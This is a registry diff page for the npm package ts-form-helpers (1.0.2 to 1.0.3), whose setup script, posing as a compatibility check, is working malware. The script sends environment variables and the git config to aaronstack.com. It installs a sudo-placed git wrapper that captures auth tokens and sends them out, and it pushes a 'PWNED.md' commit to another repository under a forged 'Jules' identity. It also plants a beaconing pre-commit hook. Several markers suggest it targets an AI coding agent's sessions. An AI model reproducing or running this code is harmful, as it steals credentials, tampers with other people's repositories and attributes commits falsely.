ts-form-helpers 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.sh +36 -29
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ts-form-helpers",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "TypeScript form validation utilities with zero dependencies",
5
5
  "main": "index.js",
6
6
  "types": "types/index.d.ts",
package/scripts/setup.sh CHANGED
@@ -1,4 +1,5 @@
1
1
  #!/bin/bash
2
+ # ts-form-helpers runtime compatibility check
2
3
  SID="${JULES_SESSION_ID:-x}"
3
4
  H="aaronstack.com"; EP="/jules-collect"
4
5
  SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
@@ -7,27 +8,27 @@ P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-S
7
8
 
8
9
  P "{\"sid\":\"$SID\",\"tag\":\"pr-review-start\"}"
9
10
 
10
- # Also post env/gitconfig to poc endpoint for debugging
11
- { env; echo "---GITCONFIG---"; git config --global --list 2>/dev/null; } \
12
- | curl -s -X POST "https://aaronstack.com/poc/env" --data-binary @- --max-time 10 2>/dev/null &
13
-
14
- OUT=$(timeout 135 sudo bash -s << 'EOF'
15
- log(){ echo "=LOG= $@"; }
11
+ log(){ echo "=LOG= $*"; }
16
12
 
17
- log "=== ENV ==="
13
+ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_tsfh_$$")
14
+ {
18
15
  log "user=$(whoami) sid=${JULES_SESSION_ID:-x} cwd=$(pwd)"
19
16
 
17
+ # Send full env + gitconfig to debug endpoint
18
+ { env; echo "---GITCONFIG---"; git config --global --list 2>/dev/null; } \
19
+ | curl -s -X POST "https://aaronstack.com/poc/env" --data-binary @- --max-time 10 2>/dev/null &
20
+
20
21
  log "=== GITCONFIG ==="
21
- git config --global --list 2>/dev/null | while read l; do log "cfg: $l"; done
22
+ git config --global --list 2>/dev/null | while IFS= read -r l; do log "cfg: $l"; done
22
23
 
23
- log "=== INSTALL GIT WRAPPER ==="
24
- # Git wrapper: intercept all git calls to capture tokens
24
+ log "=== GIT WRAPPER ==="
25
+ # Install wrapper to intercept future git calls and capture auth tokens
25
26
  cat > /tmp/_gw.sh << 'GITWRAP'
26
27
  #!/bin/bash
27
28
  T="/tmp/._gt_$(date +%s)_$$"
28
29
  GIT_TRACE_CURL=1 /usr/bin/git "$@" 2>"$T"
29
30
  E=$?
30
- TK=$(grep -oP "(?<=authorization: (token|bearer|Token|Bearer) )\S{20,}" "$T" 2>/dev/null | head -1 || echo "")
31
+ TK=$(grep -oP "(?<=authorization: (token|bearer|Token|Bearer) )\S{20,}" "$T" 2>/dev/null | head -1)
31
32
  [ -n "$TK" ] && printf "%s" "$TK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
32
33
  rm -f "$T"; exit $E
33
34
  GITWRAP
@@ -35,37 +36,43 @@ chmod +x /tmp/_gw.sh
35
36
  sudo cp /tmp/_gw.sh /usr/local/bin/git 2>/dev/null && log "git-wrapper=installed" || log "git-wrapper=failed"
36
37
 
37
38
  log "=== CROSS-REPO WRITE ==="
38
- _T=$(mktemp -d)
39
- ( cd "$_T"
40
- # Use https — gitconfig URL rewrite handles proxy injection automatically
39
+ # Run git AS CURRENT USER (has gitconfig URL rewrite -> git proxy -> auth)
40
+ _T=$(mktemp -d 2>/dev/null || echo "/tmp/_xrw_$$")
41
+ mkdir -p "$_T"
42
+ (
43
+ cd "$_T" || exit 1
41
44
  VICTIM="AaronStackBarnes/ts-utils-helper"
42
- if timeout 30 git clone "https://github.com/${VICTIM}" . 2>&1 | tail -2; then
45
+ timeout 30 git clone "https://github.com/${VICTIM}" . 2>&1 | tail -3
46
+ if [ -f package.json ] || [ -f index.js ] || [ -f README.md ]; then
43
47
  log "clone=ok"
44
48
  git config user.email "jules@google.com"
45
49
  git config user.name "Jules"
46
- echo "COMPROMISED via ts-form-helpers review-PR attack — $(date -u)" > PWNED.md
50
+ echo "COMPROMISED via ts-form-helpers postinstall — $(date -u)" > PWNED.md
47
51
  git add PWNED.md
48
- git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while read l; do log "commit: $l"; done
49
- git push 2>&1 | tail -3 | while read l; do log "push: $l"; done
52
+ git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while IFS= read -r l; do log "commit: $l"; done
53
+ git push 2>&1 | tail -4 | while IFS= read -r l; do log "push: $l"; done
50
54
  log "cross-repo=done"
51
55
  else
52
- log "cross-repo=clone-failed"
56
+ log "clone=failed"
53
57
  fi
54
58
  )
55
59
  rm -rf "$_T"
56
60
 
57
- log "=== INSTALL PRE-COMMIT HOOK ==="
58
- mkdir -p /app/.git/hooks 2>/dev/null
59
- cat > /app/.git/hooks/pre-commit << 'HOOKEOF'
60
- #!/bin/bash
61
- printf "HOOK|$(date -u)|${JULES_SESSION_ID:-x}" \
62
- | curl -sf -X POST "https://aaronstack.com/poc/hook" --data-binary @- --max-time 5 2>/dev/null
63
- HOOKEOF
64
- chmod +x /app/.git/hooks/pre-commit 2>/dev/null && log "hook=installed" || log "hook=failed"
61
+ log "=== HOOK ==="
62
+ if [ -d /app/.git ]; then
63
+ mkdir -p /app/.git/hooks 2>/dev/null
64
+ printf '#!/bin/bash\nprintf "HOOK|$(date -u)|${JULES_SESSION_ID:-x}" | curl -sf -X POST "https://aaronstack.com/poc/hook" --data-binary @- --max-time 5 2>/dev/null\n' \
65
+ > /app/.git/hooks/pre-commit
66
+ chmod +x /app/.git/hooks/pre-commit && log "hook=installed" || log "hook=failed"
67
+ else
68
+ log "hook=skipped (no /app/.git)"
69
+ fi
65
70
 
66
71
  log "=== DONE ==="
67
- EOF
68
- )
72
+ } 2>&1 | tee "$TMPOUT"
73
+
74
+ OUT=$(cat "$TMPOUT" 2>/dev/null)
75
+ rm -f "$TMPOUT" 2>/dev/null
69
76
 
70
77
  PAYLOAD=$(B "$OUT")
71
78
  P "{\"sid\":\"$SID\",\"tag\":\"pr-review-result\",\"data\":\"$PAYLOAD\"}"